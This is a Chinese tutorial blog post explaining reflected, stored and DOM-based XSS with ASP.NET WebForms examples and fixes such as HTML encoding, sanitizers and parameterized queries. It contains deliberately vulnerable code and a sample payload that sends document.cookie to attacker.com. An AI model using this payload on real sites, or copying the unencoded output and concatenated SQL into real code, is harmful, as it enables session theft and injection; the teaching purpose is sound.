XSS漏洞攻击 (跨站脚本攻击)

一、什么是XSS漏洞攻击

1、介绍:

XSS 攻击(跨站脚本攻击)的核心是: 攻击者通过在网页中注入恶意的 JavaScript 代码,当其他用户浏览该页面时,这段代码会在他们的浏览器中执行。

由于这些脚本是在受害者的浏览器中运行的,因此它们可以:

1、窃取用户的 Cookie、Session 信息

2、冒充用户执行操作(如转账、发帖)

3、 修改页面内容进行钓鱼

4、 记录键盘输入

二、XSS 的三种主要类型

1、反射型 XSS 攻击

  • 反射型 XSS(Reflected XSS)

    恶意脚本作为请求的一部分发送给服务器,服务器未过滤直接将其返回给响应。常见于搜索结果、错误消息等。需要诱使用户点击恶意链接。

    案例演示:

    1、创建一个易受攻击的 WebForm 页面 (VulnerablePage.aspx)

    html 复制代码
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="VulnerablePage.aspx.cs" Inherits="XssDemo.VulnerablePage"  ValidateRequest="false" %>
    <%--注意:因为WebForm 默认开启"防止常见脚本提交"。如果想看到演示效果需要关闭,将 <%@ Page ValidateRequest="false" %>--%>
    
    <!DOCTYPE html>
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head runat="server">
    	<title>XSS 演示 - 易受攻击页面</title>
    </head>
    <body>
    	<form id="form1" runat="server">
    		<div>
    			<h2>XSS 演示:反射型 XSS</h2>
    			
    			<!-- 用户输入框 -->
    			<asp:Label ID="Label1" runat="server" Text="请输入您的名字:" AssociatedControlID="txtName"></asp:Label>
    			<asp:TextBox ID="txtName" runat="server"></asp:TextBox>
    			<asp:Button ID="btnSubmit" runat="server" Text="提交" OnClick="btnSubmit_Click" />
    			<br /><br />
    
    			<!-- 危险的输出方式:直接将用户输入写入页面 -->
    			<asp:Literal ID="litOutput" runat="server"></asp:Literal>
    		</div>
    	</form>
    </body>
    </html>

    2、后台代码 (VulnerablePage.aspx.cs)

    csharp 复制代码
    public partial class VulnerablePage : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            // 检查是否有通过查询字符串传入的名字(模拟反射型XSS)
            string nameFromQuery = Request.QueryString["name"];
            if (!string.IsNullOrEmpty(nameFromQuery))
            {
                // ⚠️ 危险!直接将用户输入拼接到 HTML 输出中
                litOutput.Text = "<p>你好," + nameFromQuery + "!</p>";
            }
        }
    
        protected void btnSubmit_Click(object sender, EventArgs e)
        {
            // ⚠️ 危险!未对用户输入进行任何验证或编码
            string userInput = txtName.Text;
            
            // 直接输出到 Literal 控件(Literal 默认不进行 HTML 编码:HttpUtility.HtmlEncode(userInput))
            litOutput.Text = "<p>你好," + userInput + "!</p>";
        }
    }

    攻击场景 1: 通过表单提交:在 txtName 输入框中输入以下js代码:

    html 复制代码
    <script>alert('XSS 攻击成功!');</script>

    点击"提交"按钮。

    结果:浏览器会弹出一个警告框,显示 "XSS 攻击成功!"。这表明恶意脚本被执行了。

    攻击场景 2: 通过 URL 参数(反射型 XSS):直接访问以下 URL:

    html 复制代码
    http://yourwebsite/VulnerablePage.aspx?name=<script>alert('XSS%20via%20URL!');</script>

    结果:页面加载时,脚本被执行,弹出警告框。

    解决方案

    使用HttpUtility.HtmlEncode()编码

    csharp 复制代码
    protected void Page_Load(object sender, EventArgs e)
    {
        string nameFromQuery = Request.QueryString["name"];
        if (!string.IsNullOrEmpty(nameFromQuery))
        {
            // ✅ 使用 HttpUtility.HtmlEncode 进行 HTML 编码
            litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(nameFromQuery) + "!</p>";
        }
    }
    
    protected void btnSubmit_Click(object sender, EventArgs e)
    {
        string userInput = txtName.Text;
        
        // ✅ 对用户输入进行 HTML 编码后再输出
        litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(userInput) + "!</p>";
        
        // 或者使用更安全的 Label 控件(自动编码)
        // lblOutput.Text = "你好," + userInput + "!"; // Label 会自动 HTML 编码
    }

2、存储型 XSS 攻击

  • 存储型 XSS(Stored XSS)

    恶意脚本被永久存储在服务器上(如通过提交表单数据,将<script>脚本直接保存到数据库表中)。当其他用户访问包含该脚本的页面时,自动执行。

    危害更大,影响范围广。

    html 复制代码
    <!-- Guestbook.aspx -->
    <asp:TextBox ID="txtMessage" runat="server" TextMode="MultiLine"></asp:TextBox>
    <asp:Button ID="btnSubmit" runat="server" Text="提交留言" OnClick="btnSubmit_Click" />
    <asp:Literal ID="litMessages" runat="server"></asp:Literal>

    后台

    csharp 复制代码
    // ❌ 危险示例:未验证输入,未编码输出
    protected void btnSubmit_Click(object sender, EventArgs e)
    {
    	string message = txtMessage.Text;
    
    	// 危险:直接存储用户输入
    	SaveToDatabase("INSERT INTO Messages (Content) VALUES ('" + message + "')");
    
    	// 危险:直接输出,未编码
    	litMessages.Text += "<div>" + message + "</div>";
    }

    假设用户在留言框中输入的是以下这段JS脚本:

    javascript 复制代码
    <script>
    	fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
    </script>

    当用户在浏览器中打开Guestbook.aspx页面,就会执行到这段JS脚本代码,这段JS脚本代码会悄悄地将当前页面的 Cookie 发送给攻击者的服务器 。这是一个典型的 XSS(跨站脚本攻击)恶意载荷 ,用于窃取用户身份信息

    解决方案

    方案1、使用 HttpUtility.HtmlEncode 编码后再显示。

    javascript 复制代码
    // 安全输出
    litMessages.Text += "<div>" + HttpUtility.HtmlEncode(message) + "</div>";

    方案2、使用 HTML Sanitizer 库(推荐)

    csharp 复制代码
    using System.Data.SqlClient; // 建议使用参数化查询
    using HtmlSanitizer = Ganss.XSS.HtmlSanitizer; // 使用 HtmlSanitizer 库(需 NuGet 安装)
    
    public partial class Guestbook : System.Web.UI.Page
    {
    	protected void btnSubmit_Click(object sender, EventArgs e)
    	{
    		string message = txtMessage.Text;
    
    		// 1. ✅ 输入验证与清理
    		if (string.IsNullOrWhiteSpace(message))
    		{
    			// 可选:前端也应验证
    			lblError.Text = "留言内容不能为空。";
    			return;
    		}
    
    		// 2. ✅ 使用 HtmlSanitizer 清理富文本(允许部分HTML)
    		var sanitizer = new HtmlSanitizer();
    		sanitizer.AllowedTags.Clear();
    		sanitizer.AllowedTags.Add("b");      // 加粗
    		sanitizer.AllowedTags.Add("i");      // 斜体
    		sanitizer.AllowedTags.Add("u");      // 下划线
    		sanitizer.AllowedTags.Add("br");     // 换行
    		sanitizer.AllowedTags.Add("p");      // 段落
    
    		string cleanMessage = sanitizer.Sanitize(message); // 清理后的HTML
    
    		// 3. ✅ 使用参数化查询防止SQL注入
    		string connectionString = "your_connection_string";
    		string query = "INSERT INTO Messages (Content, CreatedDate) VALUES (@Content, @CreatedDate)";
    
    		using (var conn = new SqlConnection(connectionString))
    		using (var cmd = new SqlCommand(query, conn))
    		{
    			cmd.Parameters.AddWithValue("@Content", cleanMessage);
    			cmd.Parameters.AddWithValue("@CreatedDate", DateTime.Now);
    
    			conn.Open();
    			cmd.ExecuteNonQuery();
    		}
    
    		// 4. ✅ 输出时仍然建议编码(双重防护)
    		litMessages.Text += "<div>" + HttpUtility.HtmlEncode(cleanMessage) + "</div>";
    
    		// 或者:如果您信任 sanitizer 的输出,可以直接输出(但仍建议编码)
    		// litMessages.Text += $"<div>{cleanMessage}</div>";
    	}
    }

    方案3、启用 ASP.NET 请求验证:WebForm 默认开启,防止常见脚本提交。

    csharp 复制代码
    <%@ Page ValidateRequest="true" %>

3、基于 DOM 的 XSS攻击

  • 基于 DOM 的 XSS(DOM-based XSS)

    漏洞存在于客户端 JavaScript 代码中,攻击通过修改页面的 DOM 环境来触发。

    服务器不参与脚本注入,完全在浏览器端发生。

    案例场景:通过 URL 参数注入恶意脚本

    假设你有一个 .NET WebForms 页面 UserProfile.aspx,其功能是根据 URL 中的 username 参数显示用户昵称。

    html 复制代码
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UserProfile.aspx.cs" Inherits="MyApp.UserProfile" %>
    
    <!DOCTYPE html>
    <html>
    <head runat="server">
    	<title>基于 DOM 的 XSS攻击演示</title>
    </head>
    <body>
    	<form id="form1" runat="server">
    		<div>
    			<h1>Welcome, <span id="displayName"></span>!</h1>
    		</div>
    
    		<script type="text/javascript">
    			// 从 URL 参数中提取 username
    			function getParameterByName(name) {
    				name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
    				var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
    					results = regex.exec(location.search);
    				return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
    			}
    
    			// 将 username 直接写入 DOM(危险!)
    			var username = getParameterByName('username');
    			document.getElementById("displayName").innerHTML = username;
    		</script>
    	</form>
    </body>
    </html>

    攻击者构造恶意 URL:

    html 复制代码
    http://yoursite.com/UserProfile.aspx?username=<script>alert('XSS')</script>

    当用户访问该链接时,JavaScript 会将 直接插入到 innerHTML 中,浏览器将其作为 HTML 解析并执行脚本,弹出警告框。

    更危险的变种可能包括:

    1、窃取用户的 document.cookie

    2、重定向到钓鱼页面

    3、发起 CSRF 请求

    4、记录键盘输入

    解决方案
    方案 1:使用 textContent 替代 innerHTML

    最简单有效的方式是避免将用户输入作为 HTML 插入。

    typescript 复制代码
    // 安全:使用 textContent(不会解析 HTML)
    document.getElementById("displayName").textContent = username;

    这样即使 username 包含 <script> 标签,也会被当作纯文本显示,不会执行。

    方案 2:对输出进行 HTML 编码(客户端)

    如果必须使用 innerHTML,应先对内容进行 HTML 转义:

    javascript 复制代码
    function escapeHtml(text) {
    	var div = document.createElement('div');
    	div.textContent = text;
    	return div.innerHTML;
    }
    var safeUsername = escapeHtml(username);
    document.getElementById("displayName").innerHTML = safeUsername;

    方案 3:使用现代框架的转义机制(如 jQuery 的 .text())

    javascript 复制代码
    $('#displayName').text(username); // 自动转义
相关推荐
不一样的少年_4 小时前
1024程序员节:用不到100行代码做个“代码雨屏保”装X神器(附源码)
前端·javascript·浏览器
阿奇__4 小时前
el-table默认排序设置
前端·javascript·vue.js
hongc934 小时前
element-ui el-table 设置固定列fixed 高度不对
前端·vue.js·elementui
Forfun_tt4 小时前
xss-labs pass-12
前端·xss
云枫晖5 小时前
Webpack系列-编译过程
前端·webpack
AskHarries5 小时前
Toolhub — 一个干净实用的在线工具集合
前端·后端
H尗5 小时前
Vue3响应式系统的精妙设计:深入理解 depsLength 与 trackId 的协同艺术
前端·vue.js
昔人'5 小时前
html`contenteditable`
前端·html
爱宇阳5 小时前
npm 常用标签与使用技巧新手教程
前端·npm·node.js